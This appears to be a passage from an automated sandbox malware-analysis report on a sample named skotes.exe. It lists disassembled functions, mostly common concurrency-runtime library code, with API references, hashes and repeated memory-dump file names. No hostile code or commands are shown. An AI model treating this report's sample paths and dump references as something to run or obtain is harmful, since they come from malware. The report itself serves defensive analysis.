Instruction Fuzzy Hash: BD018672701531AFCE25BB61E9D2EBEBB6ABFC57113050029F80557615CB20FC5197D4

Function 0092D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0092D0C5
ListArray.LIBCONCRT ref: 0092D0D7

Part of subcall function 0092C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0092C6C4

ListArray.LIBCONCRT ref: 0092D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0092D0FA

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: b08dffb58105fe1ac49ed6adc301613680b958e27c037298b64c121a34868724
Instruction ID: aa5d5cfccb21e581959b30fcc5eafd01fb24d8ca70add5c247298f5119faa1d7
Opcode Fuzzy Hash: b08dffb58105fe1ac49ed6adc301613680b958e27c037298b64c121a34868724
Instruction Fuzzy Hash: 3A01D672702531AFCE25BB61E892EADB76ABFC57113000025F80097616CF20AC6196D4

Function 009333C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009333DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 009333EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00933407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0093341F

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: a4d4c64947d56e86edf3166331eff9727db4598f3238431980bf291201d8552b
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5201D132A40514B7CF16FF649845BAFB7ADDF84350F108415FC12AB2A2DA71EE109BA0

Function 00929510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00929519

Part of subcall function 0091F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00925486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0092953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00929550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00929559

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 379ed3fa6cbf353e1b36a6cceb257f9fb8035ec70bf4b916b021f43c8adcacf4
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 97F0A030700B305FE662AB68A821F6B23D89FC0711F00841DF82B9B286CE24E842CB90

Function 0091EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 0091EFD1

Part of subcall function 0091F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0091F989
Part of subcall function 0091F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0091F9C0
Part of subcall function 0091F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0091F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0091EFDD

Part of subcall function 0091F40F: Concurrency::critical_section::unlock.LIBCMT ref: 0091F433

Concurrency::Context::Block.LIBCONCRT ref: 0091EFE2

Part of subcall function 00920366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00920368

Concurrency::critical_section::lock.LIBCONCRT ref: 0091F002

Part of subcall function 0091F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0091F8AC
Part of subcall function 0091F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0091F8B7

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 94380226a8621280f32d654067904c4bae87d3a1b4905506b2071f38b74ae5db
Instruction ID: d5776d262f6bdb2d00b61a7b3ef4e1e0a27afbe655bdb596a4b5ee13fb159ab4
Opcode Fuzzy Hash: 94380226a8621280f32d654067904c4bae87d3a1b4905506b2071f38b74ae5db
Instruction Fuzzy Hash: 36E04F35A0161DABCB08FB20D4657EDBB61BFC4360B548359E4A6172E2CF346E86CB85

Function 0093DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0093DFE8

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: f443fd3520c0c43603c8172c7047e04c8048769994b6a4deee46af10087835ff
Instruction ID: c9382c085d968e01928c40e6d5d2367eaf27b8219afb5613f8e5a49583362b7a
